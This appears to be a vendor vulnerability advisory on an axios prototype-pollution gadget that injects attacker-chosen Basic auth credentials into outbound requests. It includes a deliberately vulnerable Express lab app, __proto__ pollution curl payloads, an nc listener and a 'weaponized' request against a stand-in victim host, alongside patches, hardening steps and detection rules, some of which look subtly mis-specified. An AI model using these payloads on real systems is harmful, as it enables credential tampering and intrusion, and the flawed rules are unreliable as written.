CVE-2026-67314
Executive Summary
CVE-2026-67314 is a prototype-pollution read-side gadget affecting axios versions 1.15.2 through 1.17.x. The vulnerability lives in the Basic auth subfield handling of lib/adapters/http.js and lib/helpers/resolveConfig.js. When an Node.js application is already compromised by a separate prototype-pollution primitive and then makes an axios request using an auth object that omits either username or password, axios performs a destructuring read that walks up the prototype chain. If an attacker has polluted Object.prototype.username or Object.prototype.password, those inherited values are silently used to construct an outbound Authorization: Basic ... header.
The practical impact is outbound request tampering:
- Injection of attacker-chosen Basic auth credentials into outbound HTTP requests.
- Replacement of an existing
Authorizationheader on requests made by the application. - Credential disclosure only under additional, application-specific conditions (e.g., if the app reflects request headers back to the actor).
Axios itself does not pollute the prototype; the package is only a read-side consumer of attacker-controlled prototype state. The severity is therefore conditional on the presence of a separate pollution primitive in the application dependency tree, which is why the raw CVSS score was left at 0.0 (unevaluated) and EPSS is 0.0%.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Because axios is an npm package with tens of millions of weekly downloads, it is present as a direct and transitive dependency in a substantial portion of the Node.js ecosystem. CVE-2026-67314 therefore has clear supply chain relevance:
- Any application depending on
axios@1.15.2 .. 1.17.xis exposed only if it also contains a prototype-pollution primitive (e.g., vulnerablelodash@4.17.20,minimist,json5, or an unsafe__proto__merge utility). - The gadget is present at runtime, not install time, so lockfile scanning (via
npm audit,yarn audit, Snyk, or custom YARA) is the primary supply chain detection mechanism. - Organizations should treat this as a chainable mid-stream vulnerability: attacker controls prototype state in one component, and axios silently turns it into a functional credential-injection primitive against external APIs, internal microservices, or cloud metadata endpoints.
- SBOM generation (CycloneDX/SPDX) for production images should flag axios versions in the affected range.
- Since no official OSV or GitHub advisory data is currently published, teams must rely on in-house vulnerability intelligence feeds and monitor axios releases for the upcoming
1.18.0patch.
CVSS Breakdown & Threat Level
The NVD entry reports a base score of 0.0 with CVSS_VECTOR: UNKNOWN, which usually means the CVE is still being analyzed or rejected for publication. Based on the vulnerability mechanics, a reasonable provisional vector is:
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:H/A:N
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector | N | Attacker sends malicious HTTP payloads to the target application |
| Attack Complexity | H | Requires a separate, working prototype-pollution primitive |
| Privileges Req. | L | Attacker needs low-privilege access to trigger a request or pollute state |
| User Interaction | N | No victim interaction is required |
| Scope | C | Polluted prototype in one lib affects outbound requests of the whole app |
| Confidentiality | L | Credential disclosure only under additional conditions |
| Integrity | H | Attacker-controlled Authorization headers can be injected |
| Availability | N | No denial-of-service impact observed |
Threat Level: MEDIUM-HIGH (conditional). Despite the 0.0 official score, the gadget is dangerous when chained with common prototype-pollution CVEs frequently found in older Express plugins, JSON merge libraries, and config parsers. Red teams should treat it as a privilege/credential-escape primitive.
Deep Dive & Mechanics
Prototype pollution attacks rely on JavaScript's prototype chain. If an attacker can execute something like:
Object.prototype.username = 'attacker';
Object.prototype.password = 'attackerPass';
then every plain object in the process inherits username and password unless shadowed by an own property.
Axios builds Basic auth headers approximately as follows:
// lib/helpers/resolveConfig.js (simplified)
if (config.auth) {
const { username, password } = config.auth;
config.headers.Authorization = 'Basic ' +
Buffer.from(`${username}:${password}`, 'utf8').toString('base64');
}
When the application provides an own auth object such as:
await axios.get('https://api.internal.example.com', {
auth: { password: 'service-secret' } // username intentionally omitted
});
the destructuring const { username } = config.auth does not throw; JavaScript finds no own username property and walks up to Object.prototype.username. If that property exists, axios happily reads it, producing:
Authorization: Basic YXR0YWNrZXI6YXR0YWNrZXJQYXNz
The same applies when password is omitted. Because the vulnerable resolveConfig.js and http.js paths run before outbound dispatch, the inherited values are baked into the HTTP headers without any validation.
Axios itself is not the polluter, which makes this a read-side gadget (also called a "sink" or "source of dangerous type confusion"). The real-world exploitation chain is:
- Attacker finds a prototype-pollution primitive in the target app (e.g., unsafe
Object.assignonreq.body, vulnerablelodash.merge). - Attacker pollutes
Object.prototype.usernameand/orObject.prototype.password. - Target app calls
axios.get(... , { auth: { /* omitted field(s) */ } }). - Axios silently builds
Authorization: Basic <attacker-controlled>, sending attacker credentials to the destination service.
Vulnerable vs. Patched Code
Vulnerable Code (axios >= 1.15.2 && < 1.18.0)
The following is a representative snippet of the vulnerable logic in lib/helpers/resolveConfig.js:
if (config.auth) {
// DANGEROUS: destructuring reads inherited properties when own fields are absent
const { username, password } = config.auth;
const credentials = Buffer.from(`${username}:${password}`, 'utf8').toString('base64');
config.headers.Authorization = `Basic ${credentials}`;
}
Similarly, in lib/adapters/http.js, the Basic auth value is extracted and forwarded:
const { auth } = config;
if (auth) {
// DANGEROUS: uses the already-tampered config.headers.Authorization built
// by resolveConfig with prototype-inherited username/password
transport.setHeader('Authorization', config.headers.Authorization);
}
Either path ultimately sends the attacker-controlled header.
Patched Code (axios >= 1.18.0 expected)
A secure implementation must only read own properties:
if (config.auth &&
Object.prototype.hasOwnProperty.call(config.auth, 'username') &&
Object.prototype.hasOwnProperty.call(config.auth, 'password')) {
const { username, password } = config.auth;
const credentials = Buffer.from(`${username}:${password}`, 'utf8').toString('base64');
config.headers.Authorization = `Basic ${credentials}`;
} else if (config.auth) {
// Do not fabricate an Authorization header from the prototype chain.
// Optionally emit a warning or explicitly delete config.headers.Authorization.
delete config.headers.Authorization;
}
Note: Object.hasOwn(config.auth, 'username') is also acceptable on Node 16.9+ and modern browsers. The key is to never destructure or read nested properties without an own-property guard when object integrity is not guaranteed.
Exploitation & Lab Setup
Red Team
Lab Architecture
- Vulnerable app: Node.js + Express +
axios@1.16.0. - Prototype-pollution primitive: an unsafe JSON merge endpoint.
- Target capture server:
netcator a tiny HTTP sink to observe the injectedAuthorizationheader.
Vulnerable Application (lab-app.js)
const express = require('express');
const axios = require('axios'); // axios@1.16.0 vulnerable
const app = express();
app.use(express.json());
// ---- Prototype pollution primitive (intentional vulnerability) ----
app.post('/pollute', (req, res) => {
const payload = req.body;
if (payload && payload.__proto__) {
Object.assign({}, payload); // unsafe merge pattern
// Simulated vulnerable library behavior:
Object.assign(Object.prototype, payload.__proto__);
}
res.json({ status: 'polluted' });
});
// ---- axios request using an auth object that omits username ----
app.get('/fetch', async (req, res) => {
const target = req.query.url || 'http://127.0.0.1:8080/capture';
await axios.get(target, {
auth: { password: 'legit-secret' } // username omitted -> reads Object.prototype.username
});
res.json({ status: 'request sent' });
});
app.listen(3000, () => console.log('lab app on :3000'));
Attack Steps
# 1. Start the capture server
nc -lvnp 8080
# 2. Run the vulnerable app (separate terminal)
node lab-app.js
# 3. Pollute Object.prototype with attacker-controlled values
curl -X POST http://localhost:3000/pollute \
-H 'Content-Type: application/json' \
-d '{"__proto__": {"username": "attacker", "password": "attacker-pass"}}'
# 4. Trigger an axios request that omits the username field
curl 'http://localhost:3000/fetch?url=http://127.0.0.1:8080/capture'
# 5. Verify the captured Authorization header at the netcat listener
# Expected: Authorization: Basic YXR0YWNrZXI6YXR0YWNrZXItcGFzcw==
# (base64 of "attacker:attacker-pass")
The attacker can also pollute only the password field, causing axios to append the attacker's password to an otherwise legitimate username. If the destination service trusts Basic credentials, the attacker gains access with their chosen tuple.
Weaponized Chain (from an external attacker)
# Single payload combining pollution step and trigger step via a UI action
curl -X POST http://victim.example.com/api/v1/import \
-H 'Content-Type: application/json' \
-d '{"__proto__": {"username": "nuclei", "password": "letmein"}}'
# Victim's app now calls https://api.internal.example.com/data with:
# Authorization: Basic bnVjbGVpOmxldG1laW4=
Blue Team
- Runtime hardening: Freeze the root prototype in critical Node.js services.
node --frozen-intrinsics app.js
// Defensive code to execute immediately after boot in dev/instrumentation mode
Object.freeze(Object.prototype);
- Configure an egress proxy that validates outbound
Authorizationheaders; alert if Basic credentials are sent to destinations not in an allowlist. - Instrument axios with a wrapper that verifies
hasOwnPropertyonconfig.authbefore dispatch:
const axios = require('axios');
const http = require('http');
const originalRequest = http.request;
http.request = function (options, callback) {
if (options.auth) {
if (!Object.prototype.hasOwnProperty.call(options.auth, 'username') ||
!Object.prototype.hasOwnProperty.call(options.auth, 'password')) {
console.error('CVE-2026-67314 blocked: auth object omits own username/password');
delete options.auth;
}
}
return originalRequest.call(this, options, callback);
};
- Enable Node.js security features:
--disable-proto=delete(Node >= 16.13) mitigates prototype pollution surface.
node --disable-proto=delete app.js
- Use dependency scanning to quarantine axios versions in the affected range.
Indicators of Compromise (IOCs)
| Type | Indicator |
|---|---|
| Package Version | axios version in package-lock.json / node_modules between 1.15.2 and 1.17.9 |
| Attack Payload Signature | HTTP body containing __proto__ and username / password keys |
| Attack Payload Signature | constructor.prototype.username or .password assignment attempts |
| Outbound Header | Authorization: Basic <base64> where decoded base64 contains attacker-controlled credentials previously absent from the app configuration |
| Anomalous Egress | Node.js process sending Authorization headers to internal resources or unexpected external IPs |
| Process Behavior | node process with --disable-proto disabled and no prototype freeze, in combination with known vulnerable merge utilities (lodash.merge, minimist, json5) |
Potential decoded Basic values to hunt for:
YXR0YWNrZXI6YXR0YWNrZXItcGFzcw== -> attacker:attacker-pass
bnVjbGVpOmxldG1laW4= -> nuclei:letmein
YWRtaW46YWRtaW4= -> admin:admin (malicious injection)
Detection Engineering
YARA
Detect vulnerable axios versions in lockfiles and vendored source. The rules below use hex strings to avoid escaping issues and have no backslash characters.
Rule 1: Lockfile / dependency tree detection
rule CVE_2026_67314_Axios_Vulnerable_Lockfile
{
meta:
author = "Valters IT"
description = "Detects axios versions >=1.15.2 and <1.18.0 in package-lock.json or yarn.lock"
cve = "CVE-2026-67314"
date = "2026-03-01"
strings:
// "axios"
$s_axios = { 22 61 78 69 6f 73 22 }
// "node_modules/axios"
$s_module_path = { 22 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 61 78 69 6f 73 22 }
// "1.15."
$v_1_15 = { 31 2e 31 35 2e }
// "1.16."
$v_1_16 = { 31 2e 31 36 2e }
// "1.17."
$v_1_17 = { 31 2e 31 37 2e }
condition:
filesize < 10MB and $s_axios and $s_module_path and any of ($v_1_15, $v_1_16, $v_1_17)
}
Rule 2: Source-code gadget detection
rule CVE_2026_67314_Axios_Source_Gadget
{
meta:
author = "Valters IT"
description = "Matches vulnerable axios source constructing Basic auth from destructured config.auth"
cve = "CVE-2026-67314"
strings:
$s_auth = "config.auth" ascii
$s_username = "username" ascii
$s_password = "password" ascii
$s_basic = "Basic" ascii
$s_authorization = "Authorization" ascii
condition:
all of them and filesize < 5MB
}
Sigma
Rule: Web payload attempting prototype pollution against axios auth fields
title: CVE-2026-67314 - Prototype Pollution Payload Targeting Axios Basic Auth
id: 8f0b1c7e-9a52-4c3d-b7f1-aa8e4d5c6f77
status: experimental
description: Detects HTTP payloads attempting to pollute Object.prototype.username/password, which axios 1.15.2 to 1.17.x consumes when building Basic authorization headers
logsource:
category: webserver
product: generic
detection:
selection_pollution_key:
cs-uri-query|contains:
- '__proto__'
- 'constructor.prototype'
- 'prototype.username'
- 'prototype.password'
selection_pollution_value:
cs-uri-query|contains:
- 'username'
- 'password'
condition: selection_pollution_key and selection_pollution_value
falsepositives:
- Security scanners and penetration testing tooling
- Debug endpoints that legitimately mutate object prototypes
level: high
tags:
- attack.t1190
- cve.2026.67314
- cwe.1321
Rule: Outbound request carrying tampered Basic auth header
title: CVE-2026-67314 - Outbound Request with Basic Auth Header Tampering
id: 2f9c9d6f-2b0f-4f2b-8d1f-5b71f5c9c6b2
status: experimental
description: Detects HTTP egress traffic containing a Basic Authorization header generated from prototype-inherited values in an axios vulnerable process
logsource:
category: proxy
product: generic
detection:
selection_basic_header:
cs-uri-query|contains: 'Authorization: Basic'
selection_auth_injection:
cs-uri-query|contains|all:
- 'Basic'
- '%3A' # encoded colon in the Basic payload
condition: selection_basic_header and selection_auth_injection
falsepositives:
- Legitimate applications already using Basic auth outbound
level: medium
tags:
- attack.t1190
- cve.2026.67314
- cwe.1321
Suricata
Alert on prototype-pollution payloads in HTTP request bodies targeting the axios read-side gadget.
alert http any any -> $EXTERNAL_NET any (
msg:"CVE-2026-67314 - Prototype pollution payload to poison axios Basic auth";
flow:established,to_server;
http.request_body;
content:"__proto__"; http_client_body;
content:"username"; http_client_body; within:200;
content:"password"; http_client_body; within:200;
classtype:attempted-admin;
reference:cve,2026-67314;
sid:202667314;
rev:1;
)
Second rule for alternative pollution syntax:
alert http any any -> $EXTERNAL_NET any (
msg:"CVE-2026-67314 - constructor.prototype pollution for axios auth tampering";
flow:established,to_server;
http.request_body;
content:"constructor.prototype"; http_client_body;
content:"username"; http_client_body; within:200;
content:"password"; http_client_body; within:200;
classtype:attempted-admin;
reference:cve,2026-67314;
sid:202667315;
rev:1;
)
Remediation & Mitigation
Upgrade axios to
>= 1.18.0as soon as the release is published. Until then, pin to1.17.xonly if the application cannot be upgraded and add the defensive wrapper described in the Blue Team section.Patch the read-side gadget at the application boundary:
// app.js - do this before any axios request
const origAxiosGet = axios.get;
axios.get = async function (url, config = {}) {
if (config.auth) {
const hasUser = Object.prototype.hasOwnProperty.call(config.auth, 'username');
const hasPass = Object.prototype.hasOwnProperty.call(config.auth, 'password');
if (!hasUser || !hasPass) {
console.warn('CVE-2026-67314 guard: rejecting incomplete auth object');
delete config.auth;
}
}
return origAxiosGet.call(this, url, config);
};
Apply similar wrappers for
axios.post,axios.delete,axios.put, andaxios.requestor simply fork theresolveConfighelper.
Eliminate prototype-pollution primitives in your dependency tree:
- Replace
lodash.mergewithlodash.mergeWithusing a__proto__guard, or switch to a safe merge library. - Upgrade
minimist,json5, and other parsers known to be exploitable. - Run
npm audit --productionand use a SAST/SCA tool that flags CWE-1321.
- Replace
Harden the Node.js runtime:
node --frozen-intrinsics app.js(blocks prototype mutation of intrinsics in supported versions).node --disable-proto=delete app.js(prevents__proto__pollution).- Freeze
Object.prototypeprogrammatically after all dependencies are loaded.
Network egress controls: Restrict outbound destinations and validate
Authorizationheaders at the egress proxy. Block unexpected Basic auth flows from application servers to internal or external endpoints.Hunt and monitor: Deploy the YARA, Sigma, and Suricata rules above to catch both pollution attempts and successful outbound credential injection.
Valters IT
Senior DevSecOps Engineer
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.